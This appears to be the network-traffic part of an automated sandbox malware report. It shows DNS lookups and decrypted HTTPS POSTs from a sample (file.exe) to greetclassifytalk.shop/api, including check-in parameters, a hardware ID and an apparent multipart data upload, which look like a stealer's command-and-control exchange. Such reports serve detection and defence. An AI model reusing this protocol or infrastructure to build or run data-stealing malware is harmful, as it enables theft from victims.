Apr 25, 2024 13:33:06.113889933 CEST	443	49737	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:06.113965034 CEST	49737	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:06.114264011 CEST	49737	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:06.114279032 CEST	443	49737	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:06.352583885 CEST	443	49737	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:06.352665901 CEST	49737	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:06.354197979 CEST	49737	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:06.354206085 CEST	443	49737	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:06.355220079 CEST	443	49737	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:06.356853008 CEST	49737	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:06.358391047 CEST	49737	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:06.358434916 CEST	443	49737	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:06.358558893 CEST	49737	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:06.358601093 CEST	443	49737	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:06.358730078 CEST	49737	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:06.358786106 CEST	443	49737	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:06.358946085 CEST	49737	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:06.358974934 CEST	443	49737	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:06.359136105 CEST	49737	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:06.359164953 CEST	443	49737	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:06.359349966 CEST	49737	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:06.359380960 CEST	443	49737	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:06.359394073 CEST	49737	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:06.359586954 CEST	49737	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:06.359618902 CEST	49737	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:06.404120922 CEST	443	49737	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:06.404355049 CEST	49737	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:06.404408932 CEST	49737	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:06.404428005 CEST	49737	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:06.452105999 CEST	443	49737	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:06.452315092 CEST	49737	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:06.452362061 CEST	49737	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:06.452390909 CEST	49737	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:06.500118017 CEST	443	49737	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:06.500395060 CEST	49737	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:06.548115969 CEST	443	49737	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:06.691236019 CEST	443	49737	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:07.929084063 CEST	443	49737	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:07.929426908 CEST	443	49737	104.21.51.78	192.168.2.4
Apr 25, 2024 13:33:07.929428101 CEST	49737	443	192.168.2.4	104.21.51.78
Apr 25, 2024 13:33:07.929507017 CEST	49737	443	192.168.2.4	104.21.51.78

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 25, 2024 13:32:58.942006111 CEST	56442	53	192.168.2.4	1.1.1.1
Apr 25, 2024 13:32:59.088901997 CEST	53	56442	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 25, 2024 13:32:58.942006111 CEST	192.168.2.4	1.1.1.1	0xf04c	Standard query (0)	greetclassifytalk.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 25, 2024 13:32:59.088901997 CEST	1.1.1.1	192.168.2.4	0xf04c	No error (0)	greetclassifytalk.shop		104.21.51.78	A (IP address)	IN (0x0001)	false
Apr 25, 2024 13:32:59.088901997 CEST	1.1.1.1	192.168.2.4	0xf04c	No error (0)	greetclassifytalk.shop		172.67.177.98	A (IP address)	IN (0x0001)	false
Apr 25, 2024 13:33:16.475043058 CEST	1.1.1.1	192.168.2.4	0xe122	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 25, 2024 13:33:16.475043058 CEST	1.1.1.1	192.168.2.4	0xe122	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

greetclassifytalk.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.21.51.78	443	7328	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 11:32:59 UTC	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: greetclassifytalk.shop
2024-04-25 11:32:59 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-04-25 11:33:00 UTC	808	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 11:32:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=319patchjv6ien05gi29pp6n8t; expires=Mon, 19-Aug-2024 05:19:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PH6UQEoW4b35O6Q4I9SzJUV1xY1TyvQRM%2B%2FDMIlswaGe7XIcLicdImoZhNTlCBH8n%2FwoF3AESWQYP03H40rK%2BdC1EqhavdlrBgaO44pL4lZn7qf0jFYChOHJ3KaCBJ%2BKxl9ZZ0hJXgHK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879e040108a6b04e-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 11:33:00 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-04-25 11:33:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	104.21.51.78	443	7328	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 11:33:00 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: greetclassifytalk.shop
2024-04-25 11:33:00 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 73 78 46 4b 75 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=4sxFKu--&j=default
2024-04-25 11:33:00 UTC	802	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 11:33:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7o079nv23d1dvb592s36fvkjmd; expires=Mon, 19-Aug-2024 05:19:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LyXkmB0fVkBJbvzSUS0fVGliEQBjVculd406K896Y49Trxz%2FcEPIa57F61hqYxqbCDAGxsHUBBk2az8%2Bhl4tCbcBbdo5NKuJHckFCUQLwNMWHU6ZIKbSGSx0XiLyGN3CRnGC08HWSU9m"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879e0405ecca7bb1-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 11:33:00 UTC	567	IN	Data Raw: 34 66 63 0d 0a 62 6d 6c 67 55 51 6c 5a 38 37 62 69 47 79 2b 31 4a 41 66 69 6f 6d 37 50 6d 67 4e 54 77 31 42 6d 6a 50 6e 79 76 61 42 6e 62 35 38 56 59 32 6c 7a 66 33 76 4a 6c 74 59 33 4a 62 77 47 64 49 65 41 56 4f 2f 75 63 53 61 6d 66 47 79 46 32 35 50 5a 67 6c 31 50 2b 51 38 46 45 7a 51 6c 55 2f 71 55 6a 32 4d 4e 6a 77 52 63 36 4b 73 56 78 5a 4d 4b 63 61 59 2b 52 4c 62 5a 30 4d 72 46 42 51 72 6e 47 67 77 4f 49 6d 41 32 6e 66 61 50 66 6c 76 55 53 57 61 52 79 55 43 6d 39 53 46 2f 79 56 6c 76 72 70 79 49 6e 35 70 48 54 64 49 4c 48 51 45 63 61 43 71 59 6c 4d 34 52 4a 72 77 47 59 70 61 41 56 4f 2b 34 58 33 47 7a 4d 52 54 74 6c 49 48 68 67 6c 30 55 77 30 77 41 46 44 52 37 4f 49 66 66 6a 58 56 63 36 51 59 39 31 4a 4a 65 2f 36 6f 7a 4c 75 46 61 62 2f 48 7a 2b 2b Data Ascii: 4fcbmlgUQlZ87biGy+1JAfiom7PmgNTw1BmjPnyvaBnb58VY2lzf3vJltY3JbwGdIeAVO/ucSamfGyF25PZgl1P+Q8FEzQlU/qUj2MNjwRc6KsVxZMKcaY+RLbZ0MrFBQrnGgwOImA2nfaPflvUSWaRyUCm9SF/yVlvrpyIn5pHTdILHQEcaCqYlM4RJrwGYpaAVO+4X3GzMRTtlIHhgl0Uw0wAFDR7OIffjXVc6QY91JJe/6ozLuFab/Hz++
2024-04-25 11:33:00 UTC	716	IN	Data Raw: 32 66 31 59 31 35 58 39 39 4e 62 6f 58 53 42 36 54 31 62 44 47 73 4f 41 76 74 6d 35 66 56 79 41 6f 48 2b 51 45 47 42 44 4e 72 65 39 2b 38 36 78 49 4e 30 46 34 6c 32 49 4a 4d 6a 76 31 78 4e 71 30 6b 52 74 54 62 2b 4c 54 64 53 32 61 2f 54 6d 4e 70 4b 67 4e 51 2b 70 53 48 64 51 32 50 42 43 57 49 78 51 2b 75 38 32 34 79 71 54 6b 57 37 6f 6d 57 30 73 63 58 43 2f 67 43 41 51 45 68 59 54 57 58 31 34 6c 79 52 4e 4a 42 59 63 43 4f 5a 4d 61 54 49 54 61 35 63 6c 79 73 32 37 48 53 79 51 6b 48 36 67 78 4c 61 6c 68 30 64 66 6d 2f 6d 52 45 6d 76 41 5a 69 6a 49 42 55 37 37 68 6c 4d 4b 55 7a 41 4f 43 56 6c 4e 50 45 43 77 44 79 43 67 45 43 4e 47 45 7a 6d 64 57 4e 63 6b 4c 58 51 32 69 45 78 67 43 73 2f 53 46 2f 79 56 6c 76 72 70 79 49 6e 35 70 48 54 64 4d 4c 43 42 42 78 58 Data Ascii: 2f1Y15X99NboXSB6T1bDGsOAvtm5fVyAoH+QEGBDNre9+86xIN0F4l2IJMjv1xNq0kRtTb+LTdS2a/TmNpKgNQ+pSHdQ2PBCWIxQ+u824yqTkW7omW0scXC/gCAQEhYTWX14lyRNJBYcCOZMaTITa5clys27HSyQkH6gxLalh0dfm/mREmvAZijIBU77hlMKUzAOCVlNPECwDyCgECNGEzmdWNckLXQ2iExgCs/SF/yVlvrpyIn5pHTdMLCBBxX
2024-04-25 11:33:00 UTC	1369	IN	Data Raw: 33 35 65 38 0d 0a 41 68 33 78 41 52 30 46 63 77 4e 51 6a 70 72 6f 45 6c 53 2f 4c 51 37 41 78 77 44 74 6f 43 4e 78 70 7a 34 42 34 5a 57 51 30 63 4d 49 43 2f 6b 42 43 78 41 31 65 54 79 51 31 34 4e 2f 53 4e 4e 47 5a 49 58 46 43 4b 58 38 62 54 37 68 66 47 79 46 38 4e 44 59 32 6b 56 56 76 30 77 6b 46 54 31 39 4d 49 58 54 6b 47 68 33 6c 58 4e 6d 6a 73 34 4c 75 37 67 4a 57 72 35 38 62 49 57 43 2b 4c 53 70 52 51 72 78 54 46 4e 41 63 32 49 70 67 39 43 47 63 6b 62 46 56 47 2b 45 77 51 32 71 39 32 41 36 70 44 34 4f 35 5a 2b 43 31 38 73 47 48 2f 6b 4d 41 41 67 31 4b 33 58 35 76 2b 73 35 53 73 38 47 50 63 4b 41 4b 4b 44 6f 62 54 71 33 4e 52 54 62 6d 4a 37 52 78 52 4e 4e 6c 57 63 55 54 46 73 41 49 76 6d 2f 36 7a 6c 4b 32 77 59 39 77 6f 41 44 6f 76 64 70 4d 61 41 32 43 Data Ascii: 35e8Ah3xAR0FcwNQjproElS/LQ7AxwDtoCNxpz4B4ZWQ0cMIC/kBCxA1eTyQ14N/SNNGZIXFCKX8bT7hfGyF8NDY2kVVv0wkFT19MIXTkGh3lXNmjs4Lu7gJWr58bIWC+LSpRQrxTFNAc2Ipg9CGckbFVG+EwQ2q92A6pD4O5Z+C18sGH/kMAAg1K3X5v+s5Ss8GPcKAKKDobTq3NRTbmJ7RxRNNlWcUTFsAIvm/6zlK2wY9woADovdpMaA2C
2024-04-25 11:33:00 UTC	1369	IN	Data Raw: 30 71 55 55 4b 35 55 78 54 51 48 4e 62 4e 70 33 66 6a 44 74 34 31 45 68 72 68 39 5a 4d 78 5a 4e 2b 66 38 6c 5a 48 59 62 77 2b 35 2f 46 43 55 32 6c 54 6b 73 4e 4d 6d 59 78 6d 74 71 4d 65 45 33 54 52 57 2b 41 7a 77 6d 72 38 47 67 78 73 7a 55 4c 37 35 71 62 31 4d 38 4c 43 50 77 4a 44 45 4a 39 41 31 44 36 6c 49 64 68 44 59 38 45 4a 61 33 70 4e 75 32 51 43 69 37 76 57 6d 2f 33 38 2f 75 30 67 67 49 42 76 56 52 4a 51 6a 64 68 4f 35 7a 65 69 33 5a 4f 30 45 68 6c 6a 63 6f 65 70 66 68 68 50 36 63 7a 43 4f 75 61 6e 4e 7a 51 43 51 76 77 43 67 4d 51 63 79 56 54 2b 72 2f 41 66 6c 57 58 48 69 66 41 34 41 65 68 2b 32 30 77 70 6e 41 6c 35 4a 69 62 30 34 41 77 44 76 4d 43 44 42 52 7a 41 31 43 4f 6d 75 67 53 56 4c 38 74 44 73 44 48 41 4f 32 67 49 33 47 6c 4e 67 6a 75 6e 4a Data Ascii: 0qUUK5UxTQHNbNp3fjDt41Ehrh9ZMxZN+f8lZHYbw+5/FCU2lTksNMmYxmtqMeE3TRW+Azwmr8GgxszUL75qb1M8LCPwJDEJ9A1D6lIdhDY8EJa3pNu2QCi7vWm/38/u0ggIBvVRJQjdhO5zei3ZO0EhljcoepfhhP6czCOuanNzQCQvwCgMQcyVT+r/AflWXHifA4Aeh+20wpnAl5Jib04AwDvMCDBRzA1COmugSVL8tDsDHAO2gI3GlNgjunJ
2024-04-25 11:33:00 UTC	1369	IN	Data Raw: 42 50 59 41 41 41 59 2f 59 6a 36 58 31 59 56 38 54 4e 4e 4b 62 34 62 44 44 36 4c 33 62 6a 6e 68 66 47 79 46 38 4e 44 59 32 6b 56 56 76 30 77 75 46 54 68 6c 50 64 47 38 36 32 59 44 76 79 31 38 36 4b 74 6e 37 66 39 74 63 66 6c 77 52 4f 4b 53 6c 74 6e 48 43 51 7a 37 42 41 34 4b 4e 32 6f 39 6c 39 65 50 66 55 6a 57 53 57 47 4d 7a 67 61 73 2b 57 30 36 72 6a 6b 42 72 74 58 34 74 4b 6c 46 43 75 56 4d 55 30 42 7a 57 6a 69 48 77 35 42 31 44 62 38 74 65 73 36 6f 5a 37 53 51 43 6c 72 68 4e 51 69 75 77 39 4b 66 77 78 63 48 39 77 49 4f 44 54 5a 6f 4e 4a 62 5a 68 6e 56 48 33 6b 35 6a 6a 38 6b 65 72 76 52 76 4e 71 38 2b 43 75 4f 52 6b 39 4b 43 53 32 57 57 5a 30 73 46 4b 79 74 6a 30 35 53 73 66 6b 44 35 54 57 6d 48 67 47 54 47 35 79 39 5a 79 69 74 73 68 66 44 51 32 4d 35 Data Ascii: BPYAAAY/Yj6X1YV8TNNKb4bDD6L3bjnhfGyF8NDY2kVVv0wuFThlPdG862YDvy186Ktn7f9tcflwROKSltnHCQz7BA4KN2o9l9ePfUjWSWGMzgas+W06rjkBrtX4tKlFCuVMU0BzWjiHw5B1Db8tes6oZ7SQClrhNQiuw9KfwxcH9wIODTZoNJbZhnVH3k5jj8kervRvNq8+CuORk9KCS2WWZ0sFKytj05SsfkD5TWmHgGTG5y9ZyitshfDQ2M5
2024-04-25 11:33:00 UTC	1369	IN	Data Raw: 41 38 4a 4f 32 63 2b 6d 64 47 42 63 55 66 66 53 57 71 53 77 51 4f 6b 2f 32 6f 38 72 6a 77 42 34 49 6d 58 31 4d 6b 4e 42 50 4d 4b 53 30 78 62 41 46 44 52 30 35 67 35 46 5a 55 47 55 34 50 4f 42 37 7a 33 59 6a 33 68 57 6d 2f 78 31 66 69 30 32 32 31 6d 6c 6b 77 4d 44 6e 4d 7a 65 64 48 59 6a 6e 6c 43 32 30 70 75 69 4d 45 41 6f 2f 39 6b 4f 4b 6b 36 46 75 2b 66 6d 4e 37 4d 43 67 7a 35 43 51 34 47 4e 47 38 39 6e 70 54 4f 45 53 61 38 42 6d 4b 59 67 46 54 76 75 45 34 32 74 42 4d 2b 72 76 50 37 77 49 78 74 5a 75 52 6b 59 47 6c 7a 62 44 66 52 6a 4d 49 35 52 39 78 43 5a 6f 54 46 41 36 7a 35 5a 79 4f 6d 4f 78 62 67 6c 70 2f 58 79 67 77 4d 2b 51 6b 47 42 44 39 68 4f 70 62 61 6a 6e 45 4e 6d 53 34 4f 36 34 41 4c 74 62 67 35 63 2b 45 54 46 50 57 4a 68 74 4c 6a 43 41 4b 39 Data Ascii: A8JO2c+mdGBcUffSWqSwQOk/2o8rjwB4ImX1MkNBPMKS0xbAFDR05g5FZUGU4POB7z3Yj3hWm/x1fi0221mlkwMDnMzedHYjnlC20puiMEAo/9kOKk6Fu+fmN7MCgz5CQ4GNG89npTOESa8BmKYgFTvuE42tBM+rvP7wIxtZuRkYGlzbDfRjMI5R9xCZoTFA6z5ZyOmOxbglp/XygwM+QkGBD9hOpbajnENmS4O64ALtbg5c+ETFPWJhtLjCAK9
2024-04-25 11:33:00 UTC	1369	IN	Data Raw: 4d 7a 65 64 48 66 69 48 5a 66 30 6b 39 74 68 4d 6b 4d 71 66 4a 73 4e 71 45 33 43 65 75 66 6e 74 76 46 42 51 48 79 43 77 4d 4e 4e 32 73 30 30 5a 72 6f 45 69 61 58 51 58 33 41 6d 45 37 74 32 47 6f 6e 67 44 77 50 2f 4e 76 34 74 4e 31 4c 5a 5a 59 56 59 32 6c 59 4b 7a 79 64 6c 4e 67 37 44 64 6c 50 5a 49 6a 4f 41 4b 58 38 63 7a 47 71 4f 77 76 76 6c 4a 44 63 77 77 38 46 37 77 6f 4c 43 54 74 73 4d 35 58 61 6b 6e 68 43 6c 77 67 4e 36 36 74 4d 71 75 41 68 61 65 4e 79 4e 66 69 63 6c 39 43 41 4c 41 72 6d 44 51 45 42 4f 47 64 37 2b 62 2b 66 4e 79 57 38 58 77 33 72 71 30 79 71 39 43 46 70 34 33 49 4a 34 70 61 55 7a 63 34 46 44 66 51 4c 41 52 41 38 5a 44 61 53 31 49 56 72 54 4d 56 4a 62 6f 58 44 43 4b 4c 33 62 54 6d 72 63 6b 71 47 38 50 75 66 78 52 31 4e 70 55 35 4c 4c Data Ascii: MzedHfiHZf0k9thMkMqfJsNqE3CeufntvFBQHyCwMNN2s00ZroEiaXQX3AmE7t2GongDwP/Nv4tN1LZZYVY2lYKzydlNg7DdlPZIjOAKX8czGqOwvvlJDcww8F7woLCTtsM5XaknhClwgN66tMquAhaeNyNficl9CALArmDQEBOGd7+b+fNyW8Xw3rq0yq9CFp43IJ4paUzc4FDfQLARA8ZDaS1IVrTMVJboXDCKL3bTmrckqG8PufxR1NpU5LL
2024-04-25 11:33:00 UTC	1369	IN	Data Raw: 52 6c 4d 34 52 4a 72 77 47 59 70 69 41 56 4f 2b 34 51 69 61 33 4f 42 2b 75 38 2f 76 41 6a 47 31 6d 35 47 52 67 61 58 4e 73 4e 39 47 4d 77 6a 6c 41 30 45 68 74 68 73 34 4b 76 2f 52 75 4e 36 45 7a 44 75 4f 58 6d 39 6a 4d 44 67 76 34 41 51 73 45 4e 57 38 2f 6c 64 71 44 4f 51 4f 2f 4c 51 37 41 78 78 54 74 6f 43 4e 78 68 68 38 31 72 4c 69 48 79 63 67 43 41 65 73 48 43 67 45 6c 5a 69 76 52 76 4f 74 6d 41 37 38 74 66 4f 69 72 5a 2b 33 2f 62 58 48 35 63 45 54 6c 6c 5a 58 65 7a 67 38 4b 38 78 34 4b 43 44 39 71 50 4a 62 66 6b 6e 4a 66 33 45 35 6d 6a 73 67 46 72 66 5a 68 4d 4b 77 79 52 4b 44 7a 2b 37 53 43 41 68 57 39 56 45 6c 43 46 6b 67 73 68 39 37 43 57 6c 72 42 54 47 4b 4d 31 67 65 73 2b 33 63 38 73 58 4a 73 68 59 54 65 74 36 6b 63 5a 5a 5a 6e 53 77 55 2f 4b 32 Data Ascii: RlM4RJrwGYpiAVO+4Qia3OB+u8/vAjG1m5GRgaXNsN9GMwjlA0Ehths4Kv/RuN6EzDuOXm9jMDgv4AQsENW8/ldqDOQO/LQ7AxxTtoCNxhh81rLiHycgCAesHCgElZivRvOtmA78tfOirZ+3/bXH5cETllZXezg8K8x4KCD9qPJbfknJf3E5mjsgFrfZhMKwyRKDz+7SCAhW9VElCFkgsh97CWlrBTGKM1ges+3c8sXJshYTet6kcZZZnSwU/K2
2024-04-25 11:33:00 UTC	1369	IN	Data Raw: 45 67 33 52 42 6a 33 43 6b 45 4c 46 6b 77 70 78 70 53 4e 45 74 74 6e 41 6a 5a 6c 51 58 71 70 63 57 57 70 59 64 48 58 35 76 35 6b 52 4a 72 77 47 63 38 43 59 54 76 2b 32 43 56 72 4b 63 68 61 75 77 39 4b 66 68 51 73 41 2f 41 38 46 41 53 46 35 50 5a 4c 43 67 7a 35 7a 36 57 64 6f 69 38 77 42 6f 76 4e 66 44 34 41 2f 44 2b 4b 57 6e 39 54 38 4f 78 6a 2b 41 67 55 46 4a 58 70 37 33 37 7a 72 45 67 33 59 42 6a 33 43 2b 55 7a 6c 75 46 35 2f 79 56 6c 76 72 6f 50 51 68 34 42 46 4f 50 34 43 42 51 55 6c 65 6e 61 77 32 59 74 31 51 4e 68 4e 4a 63 36 6f 5a 38 61 34 5a 33 48 35 63 46 53 67 38 2f 75 30 67 67 45 63 76 56 52 4a 55 6d 45 77 62 73 4b 44 30 43 73 6c 76 46 6b 72 36 4b 73 56 78 5a 4d 4b 63 62 64 79 58 4b 7a 4a 33 72 65 70 62 6b 33 76 54 46 4e 41 63 79 77 34 67 38 61 Data Ascii: Eg3RBj3CkELFkwpxpSNEttnAjZlQXqpcWWpYdHX5v5kRJrwGc8CYTv+2CVrKchauw9KfhQsA/A8FASF5PZLCgz5z6Wdoi8wBovNfD4A/D+KWn9T8Oxj+AgUFJXp737zrEg3YBj3C+UzluF5/yVlvroPQh4BFOP4CBQUlenaw2Yt1QNhNJc6oZ8a4Z3H5cFSg8/u0ggEcvVRJUmEwbsKD0CslvFkr6KsVxZMKcbdyXKzJ3repbk3vTFNAcyw4g8a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	104.21.51.78	443	7328	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 11:33:01 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18158 Host: greetclassifytalk.shop
2024-04-25 11:33:01 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 41 31 32 39 44 35 33 31 33 36 35 37 39 37 32 35 44 38 42 37 35 43 44 30 39 43 35 43 32 35 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 73 78 46 4b 75 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"DA129D53136579725D8B75CD09C5C254--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4sxFKu----b
2024-04-25 11:33:01 UTC	2827	OUT	Data Raw: 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 52 f0 fd e9 0a 3f 6c af 16 Data Ascii: MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3R?l
2024-04-25 11:33:01 UTC	810	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 11:33:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ku7hk7r44c92j8t34fl2dgo8ni; expires=Mon, 19-Aug-2024 05:19:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=urcKZ1q%2F5F40y11H2gpWh2AOha%2BhvclB7qLPub1xuwIK%2Fz8K45yYQpplsyoeFcFyJOu8kjTOQEywlo9lRM1ytdWCfd90Vyh%2FxUzzyiAlTcCQUAkOD5fBa%2FAKzwSMu3Y8SWhab%2BEVDS5p"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879e040b3e92451b-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 11:33:01 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 38 35 2e 31 35 32 2e 36 36 2e 32 33 30 0d 0a Data Ascii: 11ok 185.152.66.230
2024-04-25 11:33:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	104.21.51.78	443	7328	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
